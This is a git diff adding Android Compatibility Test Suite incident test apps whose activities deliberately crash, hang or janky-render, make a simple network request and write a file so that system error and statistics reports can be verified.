diff --git a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ANRActivity.java b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ANRActivity.java
new file mode 100644
index 0000000..10442d3
--- /dev/null
+++ b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ANRActivity.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.errors;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+/**
+ * Used by ErrorsTest.
+ */
+public class ANRActivity extends Activity {
+    private static final String TAG = "ANRActivity";
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+
+        getBaseContext().registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                while (true) {}
+            }
+        }, new IntentFilter(Intent.ACTION_SCREEN_ON));
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+                | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+    }
+}
diff --git a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
new file mode 100644
index 0000000..630df5c
--- /dev/null
+++ b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.errors;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.DropBoxManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Used by ErrorTest. Spawns misbehaving activities so reports will appear in Dropbox.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ErrorsTests {
+    private static final String TAG = "ErrorsTests";
+
+    private static final String CRASH_TAG = "data_app_crash";
+    private static final String ANR_TAG = "data_app_anr";
+    private static final String NATIVE_CRASH_TAG = "SYSTEM_TOMBSTONE";
+
+    private static final int TIMEOUT_SECS = 60 * 3;
+
+    private CountDownLatch mResultsReceivedSignal;
+    private DropBoxManager mDropbox;
+    private long mStartMs;
+    private Context mContext;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mDropbox = (DropBoxManager) mContext.getSystemService(Context.DROPBOX_SERVICE);
+        mResultsReceivedSignal = new CountDownLatch(1);
+        mStartMs = System.currentTimeMillis();
+    }
+
+    @Test
+    public void testException() throws Exception {
+        Log.i(TAG, "testException");
+
+        registerReceiver(mContext, mResultsReceivedSignal, CRASH_TAG,
+                 mContext.getPackageName() + ":TestProcess",
+                "java.lang.RuntimeException: This is a test exception");
+        Intent intent = new Intent();
+        intent.setClass(mContext, ExceptionActivity.class);
+        mContext.startActivity(intent);
+
+        assertTrue(mResultsReceivedSignal.await(TIMEOUT_SECS, TimeUnit.SECONDS));
+    }
+
+    @Test
+    public void testANR() throws Exception {
+        Log.i(TAG, "testANR");
+
+        registerReceiver(mContext, mResultsReceivedSignal, ANR_TAG,
+                mContext.getPackageName() + ":TestProcess",
+                "Subject: Broadcast of Intent { act=android.intent.action.SCREEN_ON");
+        Intent intent = new Intent();
+        intent.setClass(mContext, ANRActivity.class);
+        mContext.startActivity(intent);
+
+        assertTrue(mResultsReceivedSignal.await(TIMEOUT_SECS, TimeUnit.SECONDS));
+    }
+
+    @Test
+    public void testNativeCrash() throws Exception {
+        Log.i(TAG, "testNativeCrash");
+
+        registerReceiver(mContext, mResultsReceivedSignal, NATIVE_CRASH_TAG,
+                mContext.getPackageName() + ":TestProcess", "backtrace:");
+        Intent intent = new Intent();
+        intent.setClass(mContext, NativeActivity.class);
+        mContext.startActivity(intent);
+
+        assertTrue(mResultsReceivedSignal.await(TIMEOUT_SECS, TimeUnit.SECONDS));
+    }
+
+    void registerReceiver(Context ctx, CountDownLatch onReceiveLatch, String wantTag,
+            String... wantInStackTrace) {
+        ctx.registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                // DropBox might receive other entries while we're waiting for the error
+                // entry, so we need to check the tag and stack trace before continuing.
+                DropBoxManager.Entry entry = mDropbox.getNextEntry(wantTag, mStartMs);
+                if (entry != null) {
+                    String stackTrace = entry.getText(10000); // Only need to check a few lines.
+                    boolean allMatches = true;
+                    for (String line : wantInStackTrace) {
+                        allMatches &= stackTrace.contains(line);
+                    }
+                    entry.close();
+                    if (allMatches) {
+                        onReceiveLatch.countDown();
+                    }
+                }
+            }
+        }, new IntentFilter(DropBoxManager.ACTION_DROPBOX_ENTRY_ADDED));
+    }
+}
diff --git a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ExceptionActivity.java b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ExceptionActivity.java
new file mode 100644
index 0000000..7d744f2
--- /dev/null
+++ b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ExceptionActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.errors;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * Used by ErrorsTest.
+ */
+public class ExceptionActivity extends Activity {
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        throw new RuntimeException("This is a test exception");
+    }
+}
diff --git a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/NativeActivity.java b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/NativeActivity.java
new file mode 100644
index 0000000..d1640d3
--- /dev/null
+++ b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/NativeActivity.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.errors;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * Used by ErrorsTest.
+ */
+public class NativeActivity extends Activity {
+    static {
+       System.loadLibrary("crash-jni");
+    }
+
+    public native void crash();
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        crash();
+    }
+}
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
new file mode 100644
index 0000000..a32926b
--- /dev/null
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsGraphicsStatsApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    android-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
new file mode 100644
index 0000000..cfe80be
--- /dev/null
+++ b/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.server.cts.device.graphicsstats" >
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".DrawFramesActivity" android:label="GraphicsStats Test Activity" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.server.cts.device.graphicsstats" />
+</manifest>
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java
new file mode 100644
index 0000000..2b9e5a6
--- /dev/null
+++ b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java
@@ -0,0 +1,199 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.graphicsstats;
+
+import android.app.Activity;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.os.Bundle;
+import android.os.Handler;
+import android.view.Choreographer;
+import android.view.FrameMetrics;
+import android.view.View;
+import android.view.Window;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class DrawFramesActivity extends Activity implements Window.OnFrameMetricsAvailableListener {
+
+    public static final int FRAME_JANK_RECORD_DRAW = 1 << 0;
+    public static final int FRAME_JANK_ANIMATION = 1 << 1;
+    public static final int FRAME_JANK_LAYOUT = 1 << 2;
+    public static final int FRAME_JANK_DAVEY_JR = 1 << 3;
+    public static final int FRAME_JANK_DAVEY = 1 << 4;
+    public static final int FRAME_JANK_MISS_VSYNC = 1 << 5;
+
+    private static final String TAG = "GraphicsStatsDeviceTest";
+
+    private static final int[] COLORS = new int[] {
+            Color.RED,
+            Color.GREEN,
+            Color.BLUE,
+    };
+
+    private View mColorView;
+    private int mColorIndex;
+    private final CountDownLatch mReady = new CountDownLatch(1);
+    private Choreographer mChoreographer;
+    private CountDownLatch mFramesFinishedFence = mReady;
+    private int mFrameIndex;
+    private int[] mFramesToDraw;
+    private int mDroppedReportsCount = 0;
+    private int mRenderedFrames = 0;
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        getWindow().addOnFrameMetricsAvailableListener(this, new Handler());
+
+        mChoreographer = Choreographer.getInstance();
+        mColorView = new View(this) {
+            {
+                setWillNotDraw(false);
+            }
+
+            @Override
+            protected void onDraw(Canvas canvas) {
+                jankIf(FRAME_JANK_RECORD_DRAW);
+            }
+
+            @Override
+            public void layout(int l, int t, int r, int b) {
+                super.layout(l, t, r, b);
+                jankIf(FRAME_JANK_LAYOUT);
+            }
+        };
+        updateColor();
+        setContentView(mColorView);
+    }
+
+    private void setupFrame() {
+        updateColor();
+        if (isFrameFlagSet(FRAME_JANK_LAYOUT)) {
+            mColorView.requestLayout();
+        }
+        if (isFrameFlagSet(FRAME_JANK_DAVEY_JR)) {
+            spinSleep(150);
+        }
+        if (isFrameFlagSet(FRAME_JANK_DAVEY)) {
+            spinSleep(700);
+        }
+    }
+
+    private void updateColor() {
+        mColorView.setBackgroundColor(COLORS[mColorIndex]);
+        // allow COLORs to be length == 1 or have duplicates without breaking the test
+        mColorView.invalidate();
+        mColorIndex = (mColorIndex + 1) % COLORS.length;
+    }
+
+    private void jankIf(int flagIsSet) {
+        if (isFrameFlagSet(flagIsSet)) {
+            jank();
+        }
+    }
+
+    private boolean isFrameFlagSet(int flag) {
+        return mFramesToDraw != null && (mFramesToDraw[mFrameIndex] & flag) != 0;
+    }
+
+    private void jank() {
+        spinSleep(20);
+    }
+
+    private void spinSleep(int durationMs) {
+        long until = System.currentTimeMillis() + durationMs;
+        while (System.currentTimeMillis() < until) {}
+    }
+
+    private void scheduleDraw() {
+        mChoreographer.postFrameCallback((long timestamp) -> {
+            setupFrame();
+            jankIf(FRAME_JANK_ANIMATION);
+        });
+        if (isFrameFlagSet(FRAME_JANK_MISS_VSYNC)) {
+            spinSleep(32);
+        }
+    }
+
+    private void onDrawFinished() {
+        if (mFramesToDraw != null && mFrameIndex < mFramesToDraw.length - 1) {
+            mFrameIndex++;
+            scheduleDraw();
+        } else if (mFramesFinishedFence != null) {
+            mFramesFinishedFence.countDown();
+            mFramesFinishedFence = null;
+            mFramesToDraw = null;
+        }
+    }
+
+    public void drawFrames(final int frameCount) throws InterruptedException, TimeoutException {
+        drawFrames(new int[frameCount]);
+    }
+
+    public void waitForReady() throws InterruptedException, TimeoutException {
+        if (!mReady.await(4, TimeUnit.SECONDS)) {
+            throw new TimeoutException();
+        }
+    }
+
+    public void drawFrames(final int[] framesToDraw) throws InterruptedException, TimeoutException {
+        if (!mReady.await(4, TimeUnit.SECONDS)) {
+            throw new TimeoutException();
+        }
+        final CountDownLatch fence = new CountDownLatch(1);
+        long timeoutDurationMs = 0;
+        for (int frame : framesToDraw) {
+            // 50ms base time + 20ms for every extra jank event
+            timeoutDurationMs += 50 + (20 * Integer.bitCount(frame));
+            if ((frame & FRAME_JANK_DAVEY_JR) != 0) {
+                timeoutDurationMs += 150;
+            }
+            if ((frame & FRAME_JANK_DAVEY) != 0) {
+                timeoutDurationMs += 700;
+            }
+        }
+        runOnUiThread(() -> {
+            mFramesToDraw = framesToDraw;
+            mFrameIndex = 0;
+            mFramesFinishedFence = fence;
+            scheduleDraw();
+        });
+        if (!fence.await(timeoutDurationMs, TimeUnit.MILLISECONDS)) {
+            throw new TimeoutException("Drawing " + framesToDraw.length + " frames timed out after "
+                    + timeoutDurationMs + "ms");
+        }
+    }
+
+    public int getRenderedFramesCount() {
+        return mRenderedFrames;
+    }
+
+    public int getDroppedReportsCount() {
+        return mDroppedReportsCount;
+    }
+
+    @Override
+    public void onFrameMetricsAvailable(Window window, FrameMetrics frameMetrics,
+            int dropCountSinceLastInvocation) {
+        mDroppedReportsCount += dropCountSinceLastInvocation;
+        mRenderedFrames++;
+        onDrawFinished();
+    }
+}
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/SimpleDrawFrameTests.java b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/SimpleDrawFrameTests.java
new file mode 100644
index 0000000..ff3e9eb
--- /dev/null
+++ b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/SimpleDrawFrameTests.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.graphicsstats;
+
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.assertEquals;
+
+/**
+ * Used by GraphicsStatsTest.
+ */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class SimpleDrawFrameTests {
+    private static final String TAG = "GraphicsStatsDeviceTest";
+
+    @Rule
+    public ActivityTestRule<DrawFramesActivity> mActivityRule =
+            new ActivityTestRule<>(DrawFramesActivity.class);
+
+    @Test
+    public void testDrawTenFrames() throws Throwable {
+        DrawFramesActivity activity = mActivityRule.getActivity();
+        activity.waitForReady();
+        assertEquals(1, activity.getRenderedFramesCount());
+        assertEquals(0, activity.getDroppedReportsCount());
+        activity.drawFrames(10);
+        assertEquals(11, activity.getRenderedFramesCount());
+        assertEquals(0, activity.getDroppedReportsCount());
+    }
+
+    @Test
+    public void testDrawJankyFrames() throws Throwable {
+        DrawFramesActivity activity = mActivityRule.getActivity();
+        activity.waitForReady();
+        assertEquals(1, activity.getRenderedFramesCount());
+        assertEquals(0, activity.getDroppedReportsCount());
+        int[] frames = new int[50];
+        for (int i = 0; i < 10; i++) {
+            int indx = i * 5;
+            frames[indx] = DrawFramesActivity.FRAME_JANK_RECORD_DRAW;
+            frames[indx + 1] = DrawFramesActivity.FRAME_JANK_ANIMATION;
+            frames[indx + 2] = DrawFramesActivity.FRAME_JANK_LAYOUT;
+            frames[indx + 3] = DrawFramesActivity.FRAME_JANK_MISS_VSYNC;
+        }
+        activity.drawFrames(frames);
+        assertEquals(51, activity.getRenderedFramesCount());
+        assertEquals(0, activity.getDroppedReportsCount());
+    }
+
+    @Test
+    public void testDrawDaveyFrames() throws Throwable {
+        DrawFramesActivity activity = mActivityRule.getActivity();
+        activity.waitForReady();
+        assertEquals(1, activity.getRenderedFramesCount());
+        assertEquals(0, activity.getDroppedReportsCount());
+        int[] frames = new int[40];
+        for (int i = 0; i < 10; i++) {
+            int indx = i * 4;
+            frames[indx] = DrawFramesActivity.FRAME_JANK_DAVEY;
+            frames[indx + 2] = DrawFramesActivity.FRAME_JANK_DAVEY_JR;
+        }
+        activity.drawFrames(frames);
+        assertEquals(41, activity.getRenderedFramesCount());
+        assertEquals(0, activity.getDroppedReportsCount());
+    }
+}
diff --git a/hostsidetests/incident/apps/netstatsapp/Android.mk b/hostsidetests/incident/apps/netstatsapp/Android.mk
new file mode 100644
index 0000000..682ec73
--- /dev/null
+++ b/hostsidetests/incident/apps/netstatsapp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsNetStatsApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    android-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/netstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/netstatsapp/AndroidManifest.xml
new file mode 100644
index 0000000..b9d4d17
--- /dev/null
+++ b/hostsidetests/incident/apps/netstatsapp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.server.cts.netstats" >
+
+    <uses-permission android:name="android.permission.INTERNET" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.server.cts.netstats" />
+</manifest>
diff --git a/hostsidetests/incident/apps/netstatsapp/src/com/android/server/cts/netstats/NetstatsDeviceTest.java b/hostsidetests/incident/apps/netstatsapp/src/com/android/server/cts/netstats/NetstatsDeviceTest.java
new file mode 100644
index 0000000..d0af01b
--- /dev/null
+++ b/hostsidetests/incident/apps/netstatsapp/src/com/android/server/cts/netstats/NetstatsDeviceTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.netstats;
+
+import android.net.TrafficStats;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.net.HttpURLConnection;
+import java.net.URL;
+
+/**
+ * Used by NetstatsIncidentTest.  Makes some network requests so "dumpsys netstats" will have
+ * something to show.
+ */
+@RunWith(AndroidJUnit4.class)
+public class NetstatsDeviceTest {
+    private static final String TAG = "NetstatsDeviceTest";
+
+    private static final int NET_TAG = 123123123;
+
+    @Test
+    public void testDoNetworkWithoutTagging() throws Exception {
+        Log.i(TAG, "testDoNetworkWithoutTagging");
+
+        makeNetworkRequest();
+    }
+
+    @Test
+    public void testDoNetworkWithTagging() throws Exception {
+        Log.i(TAG, "testDoNetworkWithTagging");
+
+        TrafficStats.getAndSetThreadStatsTag(NET_TAG);
+        makeNetworkRequest();
+    }
+
+    private void makeNetworkRequest() throws Exception {
+        final URL url = new URL("http://www.android.com/");
+        final HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
+        HttpURLConnection.setFollowRedirects(true);
+        try {
+            final int status = urlConnection.getResponseCode();
+
+            Log.i(TAG, "Response code from " + url + ": " + status);
+
+            // Doesn't matter what response code we got.  We touched the network, which is enough.
+        } finally {
+            urlConnection.disconnect();
+        }
+    }
+}
diff --git a/hostsidetests/incident/apps/storagedapp/Android.mk b/hostsidetests/incident/apps/storagedapp/Android.mk
new file mode 100644
index 0000000..b081410
--- /dev/null
+++ b/hostsidetests/incident/apps/storagedapp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsStoragedTestApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    android-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/storagedapp/AndroidManifest.xml b/hostsidetests/incident/apps/storagedapp/AndroidManifest.xml
new file mode 100644
index 0000000..db3d79f
--- /dev/null
+++ b/hostsidetests/incident/apps/storagedapp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.server.cts.storaged" >
+
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".SimpleIOService" android:exported="true" />
+        <activity android:name=".SimpleIOActivity" android:label="Storaged Test Activity"/>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.server.cts.storaged" />
+</manifest>
diff --git a/hostsidetests/incident/apps/storagedapp/src/com/android/server/cts/storaged/SimpleIOActivity.java b/hostsidetests/incident/apps/storagedapp/src/com/android/server/cts/storaged/SimpleIOActivity.java
new file mode 100644
index 0000000..7fac978
--- /dev/null
+++ b/hostsidetests/incident/apps/storagedapp/src/com/android/server/cts/storaged/SimpleIOActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.storaged;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.io.File;
+import java.io.FileWriter;
+import java.io.IOException;
+
+public class SimpleIOActivity extends Activity {
+    @Override
+    public void onStart() {
+        super.onStart();
+
+        File testFile = new File(getFilesDir(), "StoragedTest_Temp_FG");
+        try {
+            char data[] = new char[4096];
+            FileWriter w = new FileWriter(testFile);
+            w.write(data);
+            w.flush();
+            w.close();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        } finally {
+            finish();
+        }
+    }
+}
